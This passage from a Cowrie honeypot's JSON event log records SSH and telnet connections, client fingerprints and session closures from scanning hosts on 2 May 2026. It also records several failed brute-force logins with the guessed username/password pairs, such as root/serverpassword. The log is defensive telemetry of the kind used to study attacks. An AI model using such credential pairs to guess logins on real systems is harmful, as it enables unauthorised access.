6","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:20.159030Z","src_ip":"95.215.8.165","session":"e6baed447014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.74358153343201,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:20.836189Z","src_ip":"38.60.198.128","session":"70a1f7394469","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.79336881637573,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:21.796353Z","src_ip":"38.60.198.128","session":"fab69e47c6e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57886,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab8b6b031a0","protocol":"telnet","message":"New connection: 38.60.198.128:57886 (159.203.135.109:23) [session: 6ab8b6b031a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:22.784192Z"}
{"eventid":"cowrie.session.closed","duration":38.451465368270874,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:23.790459Z","src_ip":"38.60.198.128","session":"a285ede6daef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester1","message":"login attempt [tester/tester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:24.458158Z","src_ip":"95.215.8.165","session":"e6baed447014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":1064,"dst_ip":"10.17.0.5","dst_port":22,"session":"a12ceef89a6c","protocol":"ssh","message":"New connection: 177.85.247.230:1064 (10.17.0.5:22) [session: a12ceef89a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:24.960012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:24.965667Z","src_ip":"177.85.247.230","session":"a12ceef89a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:25.067655Z","src_ip":"177.85.247.230","session":"a12ceef89a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.21300196647644,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:25.238436Z","src_ip":"38.60.198.128","session":"6af2f8f0aafb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"mailtest","message":"login attempt [mailtest/mailtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:25.506061Z","src_ip":"177.85.247.230","session":"a12ceef89a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:25.539979Z","src_ip":"95.215.8.165","session":"e6baed447014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.15494394302368,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:25.897157Z","src_ip":"38.60.198.128","session":"a57f5b3317fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":42532,"dst_ip":"10.17.0.5","dst_port":23,"session":"1654e1470ad7","protocol":"telnet","message":"New connection: 186.53.42.196:42532 (10.17.0.5:23) [session: 1654e1470ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:26.388692Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:26.610940Z","src_ip":"177.85.247.230","session":"a12ceef89a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.461074113845825,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:27.245093Z","src_ip":"38.60.198.128","session":"6ab8b6b031a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.67800688743591,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:27.589662Z","src_ip":"192.211.53.160","session":"224bf6299999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36740,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d769e3170b9","protocol":"telnet","message":"New connection: 38.60.198.128:36740 (159.203.135.109:23) [session: 4d769e3170b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:28.631680Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40610,"dst_ip":"159.203.135.109","dst_port":23,"session":"8685a4503fe0","protocol":"telnet","message":"New connection: 38.60.198.128:40610 (159.203.135.109:23) [session: 8685a4503fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:31.929138Z"}
{"eventid":"cowrie.session.closed","duration":49.92168879508972,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:32.142377Z","src_ip":"38.60.198.128","session":"de91165fef44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.856788396835327,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:33.488370Z","src_ip":"38.60.198.128","session":"4d769e3170b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57516,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd305b0edfd","protocol":"telnet","message":"New connection: 38.54.119.93:57516 (10.17.0.5:23) [session: 6fd305b0edfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:39.584618Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54200,"dst_ip":"159.203.135.109","dst_port":23,"session":"45539940076b","protocol":"telnet","message":"New connection: 38.60.198.128:54200 (159.203.135.109:23) [session: 45539940076b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:43.264955Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56574,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dec62814d7a","protocol":"telnet","message":"New connection: 38.60.198.128:56574 (159.203.135.109:23) [session: 2dec62814d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:44.306480Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":53699,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc16246daf2d","protocol":"ssh","message":"New connection: 115.68.208.117:53699 (10.17.0.5:22) [session: fc16246daf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:47.839144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:47.843771Z","src_ip":"115.68.208.117","session":"fc16246daf2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:48.042346Z","src_ip":"115.68.208.117","session":"fc16246daf2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":41036,"dst_ip":"10.17.0.5","dst_port":23,"session":"de444d31e95f","protocol":"telnet","message":"New connection: 45.81.23.16:41036 (10.17.0.5:23) [session: de444d31e95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:48.685337Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester1","message":"login attempt [tester/tester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:48.883548Z","src_ip":"115.68.208.117","session":"fc16246daf2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36342,"dst_ip":"159.203.135.109","dst_port":23,"session":"c350f0aec777","protocol":"telnet","message":"New connection: 38.60.198.128:36342 (159.203.135.109:23) [session: c350f0aec777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:49.077458Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37782,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f3ca304c5a","protocol":"telnet","message":"New connection: 38.60.198.128:37782 (159.203.135.109:23) [session: b8f3ca304c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:50.071148Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:50.083873Z","src_ip":"115.68.208.117","session":"fc16246daf2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.5924232006073,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:51.230341Z","src_ip":"38.60.198.128","session":"2501d8a27fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.3993616104126,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:52.475567Z","src_ip":"38.60.198.128","session":"1b81296aacff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.47669816017151,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:53.380669Z","src_ip":"38.60.198.128","session":"4970c215724c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34996,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f821327765a","protocol":"telnet","message":"New connection: 65.60.27.33:34996 (10.17.0.5:23) [session: 9f821327765a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:53.754934Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":57268,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f52e41c6391","protocol":"ssh","message":"New connection: 186.10.86.130:57268 (159.203.135.109:22) [session: 3f52e41c6391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:55.002920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:55.007484Z","src_ip":"186.10.86.130","session":"3f52e41c6391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:55.155015Z","src_ip":"186.10.86.130","session":"3f52e41c6391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pa55w0rd","message":"login attempt [test/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:55.770054Z","src_ip":"186.10.86.130","session":"3f52e41c6391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:56.918733Z","src_ip":"186.10.86.130","session":"3f52e41c6391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":39696,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d6ea7a8279","protocol":"ssh","message":"New connection: 186.113.245.157:39696 (10.17.0.5:22) [session: b6d6ea7a8279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:57.771665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:57.775951Z","src_ip":"186.113.245.157","session":"b6d6ea7a8279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:57.867837Z","src_ip":"186.113.245.157","session":"b6d6ea7a8279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49770,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5c0812b9f1","protocol":"telnet","message":"New connection: 38.60.198.128:49770 (159.203.135.109:23) [session: 3c5c0812b9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:57.919906Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc123","message":"login attempt [minecraft/mc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:58.258414Z","src_ip":"186.113.245.157","session":"b6d6ea7a8279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:34:59.351786Z","src_ip":"186.113.245.157","session":"b6d6ea7a8279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34210,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5295dd868b2","protocol":"telnet","message":"New connection: 38.60.198.128:34210 (159.203.135.109:23) [session: c5295dd868b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:06.054293Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"324460ad6ad4","protocol":"telnet","message":"New connection: 38.60.198.128:50008 (159.203.135.109:23) [session: 324460ad6ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:17.854514Z"}
{"eventid":"cowrie.session.closed","duration":37.732712745666504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:22.039069Z","src_ip":"38.60.198.128","session":"2dec62814d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":13610,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bea089018f7","protocol":"ssh","message":"New connection: 177.85.247.230:13610 (10.17.0.5:22) [session: 7bea089018f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:22.768936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:22.773926Z","src_ip":"177.85.247.230","session":"7bea089018f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:22.875874Z","src_ip":"177.85.247.230","session":"7bea089018f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.037463426589966,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:23.302296Z","src_ip":"38.60.198.128","session":"45539940076b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverpassword","message":"login attempt [root/serverpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:23.314887Z","src_ip":"177.85.247.230","session":"7bea089018f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:24.420794Z","src_ip":"177.85.247.230","session":"7bea089018f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.9035062789917,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:35:25.488016Z","src_ip":"38.54.119.93","session":"6fd305b0edfd","protocol":"telnet"}
